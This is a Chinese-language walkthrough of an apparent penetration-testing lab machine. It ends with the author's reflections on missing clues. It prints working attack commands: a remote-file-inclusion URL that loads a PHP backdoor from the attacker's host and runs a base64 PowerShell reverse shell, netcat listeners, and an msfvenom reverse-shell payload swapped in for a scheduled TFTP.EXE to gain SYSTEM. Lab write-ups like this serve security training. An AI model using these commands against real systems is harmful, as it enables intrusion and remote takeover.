Difficulty
medium
Scans
8080
phpinfo
点击phpinfo, 允许远程包含,能找到文件包含的话可以实现rce
phpmyadmin
403 only avaiable from local network
路径扫描
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u ``http://192.168.111.53:8080`` -t 40
发现site、img、dashboard、xampp
Foothold
访问 http://192.168.111.53:8080/site/
使用kali自带的backdoor.php文件:
cp /usr/share/webshells/php/simple-backdoor.php backdoor.php
然后python 启动webserver
1 |
|
https://www.revshells.com/
生成反弹shell powershell base64脚本,远程文件包含执行反弹shell命令, 接收到webshell
http://192.168.111.53:8080/site/index.php?page=http://192.168.45.165/web/backdoor.php&cmd=powershell%20-e...
1 | rlwrap nc -nvlp 8080 |
phpinfo lfi
如果不能远程文件包含的话,也可以利用phpinfo实现本地包含rce, 可参考: PHP LFI abuse
Escalation
winpeas收集信息,在大片的xampp有backup/TFTP.EXE
进入/backup文件夹下查看, info.txt中提示每5分钟执行一次,可以替换TFTP.EXE为反弹shell exe
msf生成反弹shell exe:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.165 LPORT=443 -f exe -o TFTP.EXE
下载替换 backup/TFTP.EXE
等待片刻后,获得system shell
1 | rlwrap nc -nvlp 443 |
反思
- 提权手动收集信息要细致,没有发现C:\backup文件夹,检查了public, rupert, xammp文件夹,但是却忽略了C目录,实在不应该,要细致啊
- winpeas的输出中,也同样没有发现backup/TFTP.EXE文件,这部分知识简单扫了一眼都是C:\xampp 下面是 /users, 一定要细致啊
- 在看了hits后提示find backup, 在C:下找到backup, 查看info.txt, 但是眼瞎没看到run every 5 minute,实际上我确定是我自己选择性忽略了,因为在第一次cat之后,我甚至没注意看执行的是什么命令。 为什么?把前面当做命令提示符了? 想着先分析一下backup.txt? 看到run…认为是系统输出的信息了?
细心是关键,或许我这么粗心不适合做渗透测试?